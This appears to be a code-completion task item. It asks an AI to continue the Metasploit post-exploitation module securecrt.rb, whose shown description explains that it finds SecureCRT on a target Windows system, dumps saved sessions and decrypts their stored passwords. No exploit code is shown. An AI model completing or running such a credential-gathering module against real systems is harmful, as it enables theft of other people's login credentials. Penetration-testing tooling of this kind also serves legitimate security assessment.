You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: securecrt.rb
    path of file: ./repos/metasploit-framework/modules/post/windows/gather/credentials
    
    the code of the file until where you have to start completion: ##

          This module will determine if SecureCRT is installed on the target system and, if it is, it will try to
          dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
          where possible, using the decryption information that HyperSine reverse engineered.

          Note that whilst SecureCRT has installers for Linux, Mac and Windows, this module presently only works on Windows.
